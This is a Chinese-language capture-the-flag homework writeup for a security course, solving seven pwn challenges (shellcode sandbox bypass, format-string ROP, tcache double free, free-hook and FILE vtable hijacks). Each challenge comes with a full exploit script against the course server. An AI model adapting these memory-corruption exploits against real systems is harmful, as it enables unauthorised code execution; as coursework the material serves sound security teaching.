###### tags: `Computer Security`
# HW0x04 Writeup (Pwn)
[TOC]
## 1. sandbox
題目會讀取我們傳送的Shellcode並執行,但在執行前會檢查是否含有syscall和call register的pattern,而提示有說要的東西其實題目已經給我們了
先塞一些nop給server,看看執行的情況:
其實當初用了一陣子才知道call rax這邊可以step in進去 就可以看到自己的shellcode,下面source code箭頭指的位置會混淆XD

發現syscall,但是執行之前被塞了exit(3c=60, 對應exit)

所以目標是要跳過前面塞3c的地方,在syscall之前塞59(execve),然後跳過去
用pwntools給的shellcraft來改:
```asm=
push 0x68;
mov rax, 0x732f2f2f6e69622f;
push rax;
mov rdi, rsp;
push 0x1010101 ^ 0x6873;
xor dword ptr [rsp], 0x1010101;
xor esi, esi;
push rsi;
push 8;
pop rsi;
add rsi, rsp;
push rsi; <---- this will crash
mov rsi, rsp;
xor edx, edx;
push SYS_execve;
pop rax;
syscall;
```
把裡面的syscall換成```jmp $+X```就可以跳過原本放0x3c那行,算一下X要多少才能跳到後面syscall
實際執行時發現12行的push rsi會crash,不太確定原因,不過就先刪掉
目標是要算X跳過0x3c那行到syscall去

隨便設個X看看執行情形,可以知道X應該要代9:

所以最後把```syscall```換成```jmp $+9```就可以了

### exploit:
:::spoiler
```python=
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
#r = process("./sandbox")
r = remote("edu-ctf.zoolab.org", 30202)
shell = asm('''
push 0x68;
mov rax, 0x732f2f2f6e69622f;
push rax;
mov rdi, rsp;
push 0x1010101 ^ 0x6873;
xor dword ptr [rsp], 0x1010101;
xor esi, esi;
push rsi;
push 8;
pop rsi;
add rsi, rsp;
mov rsi, rsp;
xor edx, edx;
push SYS_execve;
pop rax;
jmp $+9;
''')
#gdb.attach(r)
r.send(shell)
r.interactive()
```
:::
:::success
:triangular_flag_on_post: FLAG{It_is_a_bad_sandbox}
:::
#### 追記
本來查了一些用xor、運算之類的方法繞過檢查syscall的payload結果進去都是crash,後來覺得應該只是當初需要改一下裡面的內容之類的就能動了(吧)。後來得知shellcode後面就有syscall,就直接用了
---
## 2. fullchain
詢問助教後發現自己的方式不是intended solution,但前半段的手法基本上跟預期解差不多
source這邊有個漏洞,可以利用這邊的```printf```回寫
```c=
void mywrite(char *addr)
{
printf(addr);
}
```
chal()這裡也有地方可以利用,後面的```strcmp()```最多只會看五個字,而local可以寫到10個字,所以可以在字串後頭多塞東西
```c=
printf("set, read or write > ");
scanf("%10s", local);
if (!strncmp("set", local, 3))
myset(ptr);
else if (!strncmp("read", local, 4))
myread(ptr);
else if (!strncmp("write", local, 5))
mywrite(ptr);
else
exit(1);
```
提示說一開始需要先把cnt改大,所以需要先知道cnt的address,然後再利用剩下的次數回寫cnt的值

設斷點後配著gdb看再計算一下可以知道cnt的位置,我是用```write%7$p```來讀,然後再扣掉```0xc```
如果要改cnt的值,就需要把cnt的address寫到stack上,而```myread()```會讀24個字,可以利用這點把Address寫到之後操作不會被蓋掉的地方
```c=
void myread(char *addr)
{
scanf("%24s", addr);
}
```
在```mywrite()```的printf前設斷點看stack的狀態會知道剛剛寫的address在`rsp+0x50`的地方,所以是(rsp)6+0x50/8=第16個參數
所以第三次執行時輸入```write%16$n```就可以在符合local 10個字限制的條件下寫掉cnt的值,而cnt的值因為write五個字,所以會被寫成5

改成5後,可以配合global,利用這5次把cnt寫到更大。
一樣的手法可以接著把global的address leak出來,然後從而推算出想要利用的東西的address。我利用到的有:
* exit@got
* main()的return
* puts@got
* printf@got
原先是照著提示,利用把`exit@got`寫成main的return來bypass(不過最後好像沒有使用到的樣子)。leak `printf@got`則是為了把libc的位址leak出來。
(從這裡開始算是非預期解)
因為可以利用fmt任意寫,而global變數後面是空的,所以我把ROP chain堆在那裏(假設叫ROP A),希望可以讓程式在某個階段跳轉過去。但為了觸發跳轉,需要再寫一個ROP到stack裡。
利用(1)fmt任意寫 (2)知道cnt位置這兩個特性,可以在stack內找一塊空出來的地方,把**跳轉到讀flag的ROP**的ROP(假設叫ROP B)寫在上面。
那觸發跳轉的ROP需要寫什麼呢? libc內有`add rsp, 0x?? ; ret` 這種gadget可以使用,把`puts@got`的address改成這種gadget,到`myset`觸發`puts()`時轉到ROP B,然後ROP B就可以跳轉到ROP A,進而讀flag。
附上圖解,其中紅色的empty space是ROP B,藍色則是global變數後的空地,把ROP A寫到這裡。

這種方法的問題有幾個:
* `add rsp, 0x?? ; ret` 這種gadget不是每種數值都有
* stack內空間有限
* 就算stack內有空間,`add rsp, 0x??`的值也必須配合才行
empty space不一定要在`chal()`內,主要是上面的三點問題需要有辦法解決,而這題剛好可以滿足這些條件。事實上我把ROP B寫到了main的stack底下。
整個流程如下:
* find a suitable ?? for `add rsp, 0x?? ; ret` gadget
* write ROP B to a corresponding empty space inside stack
* overwrite `puts@got` to the gadget
* execute `puts()` to trigger gadget,jump to ROP B
* ROP B jumps to ROP A
* read flag
### exploit:
:::spoiler
```python=
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.encoding = 'ASCII'
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
r = process("./fullchain")
#r = remote('edu-ctf.zoolab.org', 30201)
def write_byte(content, target_addr, byte):
for i in range(byte):
pl = content[i]
if pl == 0:
continue
payload = "%" + str(pl) + "c%16$hhn"
r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "read")
r.sendline(payload)
r.sendlineafter("global or local > ", "local")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"A"*16+(target_addr+i).to_bytes(8, byteorder="little"))
r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "write")
def write(content, target_addr, byte):
for i in range(byte):
#print(i)
if i == 0 :
# first byte
r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "read")
pl = int(hex(content)[-2:], base=16)
payload = "%" + str(pl) + "c%16$hhn"
r.sendline(payload)
r.sendlineafter("global or local > ", "local")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"A"*16+target_addr.to_bytes(8, byteorder="little"))
r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "write")
else:
r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "read")
pl = int(hex(content)[-2*i-2:-2*i], base=16)
payload = "%" + str(pl) + "c%16$hhn"
r.sendline(payload)
r.sendlineafter("global or local > ", "local")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"A"*16+(target_addr+i).to_bytes(8, byteorder="little"))
r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "write")
r.sendlineafter("global or local > ", "local")
r.sendlineafter("set, read or write > ", "write%7$p")
r.recvuntil("write")
cnt = int(r.recv(14).decode(), base=16) - 0xc
info(f"cnt: {hex(cnt)}")
# change cnt to 5
r.sendlineafter("global or local > ", "local")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"A"*16+cnt.to_bytes(8, byteorder="little"))
r.sendlineafter("global or local > ", "local")
r.sendlineafter("set, read or write > ", "write%16$n")
# change cnt to 2000
r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"%2000c%16$hn")
r.sendlineafter("global or local > ", "local")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"A"*16+cnt.to_bytes(8, byteorder="little"))
r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "write")
#leak global address (same address base as exit@got)
r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"%7$p")
r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "write")
global_addr = int(r.recv(14).decode(), base=16)
info(f"global_addr: {hex(global_addr)}")
exit_got = global_addr - 0x40
info(f"exit_got: {hex(exit_got)}")
puts_got = global_addr - 0x80
info(f"puts_got: {hex(puts_got)}")
printf_addr = global_addr - 0x68
info(f"printf_addr: {hex(printf_addr)}")
#try to read printf addr to get libc address
r.sendlineafter("global or local > ", "local")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"A"*16+printf_addr.to_bytes(8, byteorder="little"))
r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"%16$s")
r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "write")
libc.address = u64(r.recv(6).ljust(8, b'\x00')) - libc.sym['printf']
info(f"libc_addr : {hex(libc.address)}")
close_addr = libc.sym['close']
info(f"close_addr : {hex(close_addr)}")
main_ret_addr = global_addr - 0x28b5
info(f"main_ret_addr : {hex(main_ret_addr)}")
# write exit@got to main ret addr
write(content = main_ret_addr, target_addr = exit_got, byte=6)
fn = global_addr
new_stack_addr = global_addr + 0x80
### libc gadget
pop_rbp_ret = libc.address + 0x256c0 # pop rbp ; ret
pop_rdi_ret = libc.address + 0x26b72 # pop rdi ; ret
pop_rsi_ret = libc.address + 0x27529 # pop rsi ; ret
pop_rdx_r12_ret = libc.address + 0x11c371 # pop rdx ; pop r12 ; ret
pop_rax_ret = libc.address + 0x4a550 # pop rax ; ret
syscall_ret = libc.address + 0x66229 # syscall ; ret
leave_ret = libc.address + 0x5aa48 # leave ; ret
add_rsp_0x98_ret = libc.address + 0x27272 # add rsp, 0x98, ret;
rop_trigger_addr = cnt + 0x4c
info(f"rop_trigger_gadget: {hex(rop_trigger_addr)}")
# open("/home/rop2win/flag", 0) 0: readonly
# syscall number of open: 2 (rax)
# https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md
# read(3, fn, 0x30)N
# syscall number of read: 0 (rax)
# 0: std_in, 1: std_out, 2: std_error #3 from file
# write(1, fn, 0x30) <- 1: write to std_out
# syscall number of write: 1 (rax)
ROP_trigger = flat(
pop_rbp_ret, global_addr + 0x80 - 8,
leave_ret,
)
write(content = add_rsp_0x98_ret, target_addr = puts_got, byte=6)
write_byte(ROP_trigger, rop_trigger_addr, len(ROP_trigger))
ROP = flat(
pop_rdi_ret, fn,
pop_rsi_ret, 0,
pop_rax_ret, 2,
syscall_ret,
pop_rdi_ret, 3,
pop_rsi_ret, fn,
pop_rdx_r12_ret, 0x30, 0,
pop_rax_ret, 0,
syscall_ret,
pop_rdi_ret, 1,
pop_rax_ret, 1,
syscall_ret,
)
write_byte(ROP, global_addr+0x80, len(ROP))
r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"/home/fullchain/flag")
r.sendlineafter("global or local > ", "local")
r.sendlineafter("set, read or write > ", "set")
r.sendlineafter("data > ", "100")
r.sendlineafter("length > ", "100")
#gdb.attach(r)
r.interactive()
```
:::
:::success
:triangular_flag_on_post: FLAG{Emperor_time}
:::
---
## 3. fullchain-nerf
基本上完全能用`fullchain`這題的方式做,實際上只是把fmt參數、offset位置,還有`add rsp gadget`改一改就能用了。`myset()`被拔掉了但`myread()`裡還是有`puts()`所以沒有差
實際上從提示上來看這題有更簡單方便的解法,但時間關係直接拿上一題的exploit來改還是比較快XD
:::success
:triangular_flag_on_post: FLAG{fullchain_so_e4sy}
:::
---
## 4. final
因為easyheap的解法跟這邊的method 3差不多,所以這邊寫method 1
首先,第一個被丟到unsorted bin的chunk會指向main arena,又因為source中name是用read來讀,可以不需要用\x00 結尾,所以只要剛好把name寫到libc的位置前,就可以一併把libc印出來

UAF則可以leak出tcache的fd,此題animals[1]是tcache的頭,所以fd會指向heap。

這個時候後的bin情形如圖,而animals[0]的位置是`~b40`:

這時只要再buy一個name的chunk size為0x30的animal,這個name就會與animals[0]的位置相同,所以可以藉由寫animals[1]的name來控制animals[0]
在此寫入system和/bin/sh,呼叫animals[0]時就會get shell。
```python=
#
# - type: b'/bin/sh\x00' + b'A'*0x8
# - len: 0xdeadbeef
# - name: 0xdeadbeef
# - bark: system
buy(1, 0x28, b'/bin/sh\x00' + b'A'*0x8 + p64(0xdeadbeef) +
p64(0xdeadbeef) + p64(_system))
# 3. get shell
play(0)
```
:::success
:triangular_flag_on_post: FLAG{do_u_like_heap?}
:::
### Reference:
1. https://hackmd.io/@u1f383/pwn-cheatsheet (助教的cheatsheet XD)
---
## 5. easyheap
### (1) leak libc and heap address:
由Reference#1的malloc過程:
* 合併(consolidate) fastbin :
* (若 size 符合 large bin 或前項失敗)呼叫 malloc_consolidate 進行 fastbin 的合併(取消下一 chunk 的 PREV_INUSE),並將合併的 bin 歸入 unsorted
* 處理 unsorted bin :
* 若 unsorted bin 中只有 last_remainder 且大小足夠,分割 last_remainder 並return chunk。剩下的空間則成為新的 last_remainder
* loop 每個 unsorted bin chunk,若大小剛好則 return,否則將此 chunk 放至對應 size 的 bin 中。此過程直到 unsorted bin 為空或 loop 10000次為止
* 在 small / large bin 找 best fit,若成功則 return 分割的 chunk,剩下的放入 unsorted bin(成為 last_remainder);若無,則繼續 loop unsorted bin,直到其為空
讓tcache塞滿,再delete一塊0x80的chunk
此時struct本身(0x30),name(0x80)兩個chunk會被丟到fastbin
接著要一塊0x420的chunk,就會觸發malloc的consolidation,把fastbin的兩個chunk merge並放到unsorted bin,接著malloc會把合併的chunk放到對應size的bin(smallbin,size為0xb0),因為smallbin內只有一個,所以fd 和 bk會是libc的位置,而其他Book則洩漏了heap的位置。
會發現地址會出現在Index上

這時可以用vmmap算一下offset,得到libc和heap的地址
### (2) exploit
可以發現books[1]的name跟books[0]整個結構的位置相同

此時的bins情況如圖所示,目標是要操控0x30尾巴的兩個chunk

先整理一下tcache,塞一些dummy讓他剩下尾巴的幾個
這裡我塞了兩個name為0x20的book,包含Book本身會需要4個0x30的chunk

接著再加一個name為0x20的book(Books[12]),這本book的name會要到`~350`這個chunk,也就是原本Books[1]指的位置,這裡先把name指定為`heap+0x2a0`,原因後述
```c=
books[idx] = (Book *) malloc(sizeof(Book));
books[idx]->name = malloc(namelen);
```
要bypass double free的保護機制,可以藉由修改Books[1]的name來達成,而因為
(1)Books[12]的name位置會跟Book[1]一樣
(2)修改Books[1]時會去找books[1]->name
所以上面新增Books[12]時name需要指定為`heap+0x2a0`,才會access到我們想要的memory
可以藉由修改Books[1]的name來bypass是因為Books[1]的name跟Books[0]結構一樣,
改名字時可以蓋掉tcache中的key
蓋掉之後:

接下來就可以delete Books[1]了,再看一次Books[1]的位置:

tcache entry中的`~2a0`的key已經被改掉了,所以這邊就可以繞掉檢查
delete後:

可以注意到0x30裡面有兩個`~2a0`了,表示double free成功。但因為delete book除了name以外還會free struct本身,所以tcache`0x30`內從1個變成3個
但我們只要最後兩個`~2a0`而已,所以再塞一個dummy,這時要保留0x30的chunk,所以在此name len用0x80的

到這邊就差不多了。edit Books[0],把名字改成free hook

再add一次name的chunk size是0x30的Books時,這本Book的name就會要到hook的位置,就在上面寫system

然後delete他,free name時就會觸發hook,成功get shell :tada:
### exploit:
:::spoiler
```pyhon=
#!/usr/bin/python3
from pwn import *
import sys
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.encoding = 'ASCII'
#r = process('./easyheap')
r = remote('edu-ctf.zoolab.org', 30211)
def add(idx, namelen, name, price):
r.sendlineafter("> ", '1')
r.sendlineafter('Index: ', str(idx))
r.sendlineafter('Length of name: ', str(namelen))
r.sendlineafter('Name: ', name)
r.sendlineafter('Price: ', str(price))
def delete(idx):
r.sendlineafter("> ", '2')
r.sendlineafter("Which book do you want to delete: ", str(idx))
def find(idx):
r.sendlineafter("> ", '5')
r.sendlineafter("Index: ", str(idx))
def edit(idx, name, price):
r.sendlineafter("> ", '3')
r.sendlineafter("Which book do you want to edit: ", str(idx))
r.sendlineafter('Name: ', name)
r.sendlineafter('Price: ', str(price))
def list():
r.sendlineafter("> ", '4')
#r.recvuntil("> ")
##########################LEAK LIBC AND HEAP ADDRESS#############################
for i in range(7):
add(i, 0x70, 'dum', i)
add(7, 0x70, 'AAA', 777)
add(8, 0x70, 'BBB', 888)
for i in range(7):
delete(i)
delete(7)
add(9, 0x410, 'DDD', 10)
delete(8)
list()
r.recvuntil("--------------------")
r.recvuntil("--------------------")
r.recvuntil("--------------------")
r.recvuntil("--------------------")
r.recvuntil("--------------------")
r.recvuntil("--------------------")
r.recvuntil("--------------------")
r.recvuntil("--------------------")
r.recvuntil("Index:\t")
libc = int(r.recvline().decode()) - 0x1ebc80
info(f"libc: {hex(libc)}")
_system = libc + 0x55410
__free_hook = libc + 0x1eeb28
one_shot = libc + 0xe6c84
binsh = libc + 0x1b75aa
r.recvuntil("--------------------")
r.recvuntil("Index:\t")
heap = int(r.recvline().decode()) - 0x10
info(f"heap: {hex(heap)}")
r.recvuntil("--- happy bookstore ---")
#############################EXPLOIT##################################
add(10, 0x20, 'dummy', 11)
add(11, 0x20, 'dummy', 12)
add(12, 0x20, p64(heap+0x2a0), 11)
edit(1, "A"*16, 10000)
delete(1)
add(13, 0x70, 'dummy', 12)
edit(0, p64(__free_hook - 8), 999)
add(14, 0x20, b'/bin/sh\x00' + p64(_system), 999)
delete(14)
#gdb.attach(r)
r.interactive()
```
:::
:::success
:triangular_flag_on_post: FLAG{to_easy...} (是不是拼錯)
:::
### Reference:
1. https://hackmd.io/@sysprog/c-memory?type=view#glibc-%E7%9A%84-mallocfree-%E5%AF%A6%E4%BD%9C
#### 追記
感謝助教一步一步帶我搞懂final那題的整個流程,搞懂之後就比較了解該怎麼做這題了。可是還是覺得沒有很easy QQ
因為下一題beeftalk用來leak heap和libc的方法差不多,可能這題有更簡單的leak方法只是我沒用到(吧)
---
## 6. beeftalk
這題我純粹用建立/刪除user的bug來做exploit
leak出heap和libc address的方法跟上一題基本上一樣。塞滿tcache,想辦法讓他塞chunk到smallbins裡就可以了。user struct的有不少屬性,所以處理起來有一點亂就是。但幾乎都是利用名字長度可控這點來做的。
leak完需要的資訊後,可以發現有一個user的名字的位置(users[0])跟某位user(users[6])整個結構的位置是一樣的,那就可以利用更新users[0]的名字來寫users[6]。

觀察一下users這個struct:

圖解:

這裡的目標是藉由delete users[6]觸發free hoook來get shell。
在free user時,同時也會free掉desc, job之類的指到的位置,所以在利用改寫`users[0]->name`來更改`users[6]`的時候,必須要寫一些有意義的address,才不會在delete `users[6]`時噴Error,另外如果要delete `users[6]`必須要有辦法登入才行,所以token的值也需要設定好。
整個exploit的流程如下:
1. update `users[0]->name`,把`users[6]->desc`的位置改成`free hook -8`
2. 登入users[6]並update,把desc改成`b'/bin/sh\x00' + p64(_system)`
3. delete `users[6]`,使他在free desc時觸發free hook
4. get shell
### exploit:
:::spoiler
```python=
#!/usr/bin/python3
from pwn import *
import sys
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.encoding = 'ASCII'
r = process('./beeftalk')
#r = remote('edu-ctf.zoolab.org', 30207)
def signup(name, desc, job, asset):
r.sendlineafter("> ", '2')
#max 0x100
r.sendlineafter("What's your name ?\n> ", name)
#0x40
r.sendlineafter("What's your desc ?\n> ", desc)
#0x10
r.sendlineafter("What's your job ?\n> ", job)
r.sendlineafter("How much money do you have ?\n> ", str(asset))
r.sendlineafter("Is correct ?\n(y/n) > ", "y")
r.recvuntil("Done! This is your login token: ")
token = r.recvline().decode().strip('\n')
return token
def login(token):
r.sendlineafter("> ", '1')
r.sendlineafter("Give me your token: \n> ", token)
def delete_account(token):
r.sendlineafter("> ", '3')
r.sendlineafter("Are you sure ?\n(y/n) > ", 'y')
def logout(token):
r.sendlineafter("> ", '4')
def update(token, name, desc, job, asset):
r.sendlineafter("> ", '1')
r.sendlineafter("Name: \n> ", name)
r.sendlineafter("Desc: \n> ", desc)
r.sendlineafter("Job: \n> ", job)
r.sendlineafter("Money: \n> ", str(asset))
dummy0_token = signup("A"*0x80, "dummy", "dummy", 1)
info(f"dummy0_token: {dummy0_token}")
dummy1_token = signup("B"*0x80, "dummy", "dummy", 1)
info(f"dummy1_token: {dummy1_token}")
dummy2_token = signup("C"*0x80, "dummy", "dummy", 1)
info(f"dummy2_token: {dummy2_token}")
dummy3_token = signup("D"*0x80, "dummy", "dummy", 1)
info(f"dummy3_token: {dummy3_token}")
dummy4_token = signup("E"*0x80, "dummy", "dummy", 1)
info(f"dummy4_token: {dummy4_token}")
dummy5_token = signup("F"*0x80, "dummy", "dummy", 1)
info(f"dummy5_token: {dummy5_token}")
dummy6_token = signup("G"*0x80, "dummy", "dummy", 1)
info(f"dummy6_token: {dummy6_token}")
dummy7_token = signup("H"*0x80, "dummy", "dummy", 1)
info(f"dummy7_token: {dummy7_token}")
login(dummy0_token)
delete_account(dummy0_token)
login(dummy1_token)
delete_account(dummy1_token)
login(dummy2_token)
delete_account(dummy2_token)
login(dummy3_token)
delete_account(dummy3_token)
login(dummy4_token)
delete_account(dummy4_token)
login(dummy5_token)
delete_account(dummy5_token)
login(dummy6_token)
delete_account(dummy6_token)
login(dummy7_token)
delete_account(dummy7_token)
dummy8_token = signup("I"*0x60, "dummy", "dummy", 1)
info(f"dummy8_token: {dummy8_token}")
info(f"dummy0_token: expired.")
login(dummy1_token)
r.recvuntil("Hello ")
heap = u64(r.recv(6).ljust(8, b'\x00')) - 0x2a0
info(f"heap: {hex(heap)}")
logout(dummy1_token)
login(dummy3_token)
r.recvuntil("Hello ")
libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ebc10
info(f"libc: {hex(libc)}")
logout(dummy3_token)
_system = libc + 0x55410
__free_hook = libc + 0x1eeb28
one_shot = libc + 0xe6c84
binsh = libc + 0x1b75aa
#############################################################
#user struct
#name pointer desc pointer
#job pointer pipe_name pointer
#fifo0 pointer fifo1 pointer
#namelen token value
#asset
login(dummy8_token)
update(dummy8_token,
name = p64(heap+0x880)+p64(__free_hook - 8)+
p64(heap+0x880)+p64(0x0)+
p64(0x0)+p64(0x0)+
p64(0x10)+p64(int(dummy6_token, base=16)),
desc='dummy', job='dummy', asset=1)
logout(dummy8_token)
login(dummy6_token)
update(dummy6_token,
name = b'dummy', desc=b'/bin/sh\x00' + p64(_system),
job='dummy', asset=1)
delete_account(dummy6_token)
#gdb.attach(r)
r.interactive()
```
:::
:::success
:triangular_flag_on_post: FLAG{beeeeeeOwO}
:::
#### 追記
一打開source code發現350行有點嚇到直接先略過不看XD 幸好似乎沒有想像中難
---
## 7. FILE note
在做任何利用前必須先leak出libc才有辦法做,從提示和各參考資料得知,如果讓他進入
`_IO_POS_BAD`這裡的話,程式就會輸出`[_IO_write_base,_IO_write_ptr]`間的所有數據,將輸出將FILE的flags那行設成`fbad1800`的話就可以leak出來,再經過計算就可以得到libc base。
(事實上直接google`0xfbad1800`或`0xfbad1887`也能看到蠻多leak libc的資料)

接下來的目標是利用fwrite將one gadget寫到vtable中的一個pointer,讓他在call該function()時變成開shell。
那問題就是該如何利用fwrite做任意寫了,由Reference#3:
```c=
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr;
if (count > 0)
{
把data複製到buffer
}
```
```
fwrite的任意寫是基於_IO_new_file_xsputn中將數據複製到buffer這一功能實現的。
所以我們只要構造
_IO_write_ptr為write_s,
_IO_write_end為write_e,
自然就滿足了if的條件,這樣就達到了任意寫的目的。
```
實際上蓋完大概會長這個樣子,配著memory layout對照,`~4c8`會是fwrite複製data存到的起點,而`~4d0`是終點。


最後還有一個問題是應該要挑vtable裡的哪個function以及one gadget要用哪一個,這部分我沒什麼特別的好方法,就把每種組合都試試看,最後發現`_IO_default_uflow(_IO_file_jumps+0x28`配上`r15, rdx==NULL constraint`的one gadget可以work

實際跑remote的時候發現leak出來的libc base怪怪的...不過多save_note幾次出來的值就正常了,~~老實說我不知道為什麼~~
### exploit:
:::spoiler
```python=
#!/usr/bin/python3
from pwn import *
import sys
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.encoding = 'ASCII'
l = ELF('./libc.so.6')
r = process('./chal')
#r = remote('edu-ctf.zoolab.org',30218)
r.sendlineafter("> ", "1")
flags_IO_CURRENTLY_PUTTING = 0x0800
flags_IO_IS_APPENDING = 0x1000
r.sendlineafter("> ", "2")
r.sendlineafter("data> ", b"A"*0x200 + p64(0) +
p64(0x1e1) + p64(0)*14 + p64(1))
r.sendlineafter("> ", "3")
r.sendlineafter("> ", "2")
r.sendlineafter("data> ", b"A"*0x200 + p64(0) +
p64(0x1e1)+ p64(0xfbad1800) + p64(0)*3)
r.sendlineafter("> ", "3")
# uncomment for remote
# r.sendlineafter("> ", "3")
# r.sendlineafter("> ", "3")
# r.sendlineafter("> ", "3")
# r.sendlineafter("> ", "3")
# r.sendlineafter("> ", "3")
# r.sendlineafter("> ", "3")
# r.sendlineafter("> ", "3")
r.recv(0x80)
libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecf60
_IO_FILE_jumps = libc + l.sym['_IO_file_jumps']
info(f"libc: {hex(libc)}")
info(f"_IO_FILE_jumps: {hex(_IO_FILE_jumps)}")
one_gadget = libc + 0xe6c81 #one_gadget libc.so.6
#one_gadget = libc + 0xe6c81 #one_gadget libc.so.6
#one_gadget = libc + 0xe6c84 #one_gadget libc.so.6
info(f"one_gadget: {hex(one_gadget)}")
w_payload = flat(
0, 0,
0, _IO_FILE_jumps + 0x28,
_IO_FILE_jumps + 0x30, 0,
0, 0,
0, 0,
0, 0,
0)
r.sendlineafter("> ", "2")
r.sendlineafter("data> ", b"A"*0x200 + p64(0) + p64(0x1e1) +
p64(0xfbad2000) + p64(0) + w_payload)
r.sendlineafter("> ", "2")
r.sendlineafter("data> ", p64(one_gadget))
#gdb.attach(r)
r.sendlineafter("> ", "3")
'''
execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
'''
r.interactive()
```
:::
:::success
:triangular_flag_on_post: FLAG{f1l3n073_15_b3773r_7h4n_h34pn073}
:::
### Reference:
1. https://www.cjovi.icu/pwnreview/1171.html
2. https://n0va-scy.github.io/2019/09/21/IO_FILE/
3. https://www.anquanke.com/post/id/194577
4. https://tttang.com/archive/1279/
#### 追記
最後發現跑remote libc位置不對好像有點矇到XD 如果沒延期的話這題一定來不及做完QQ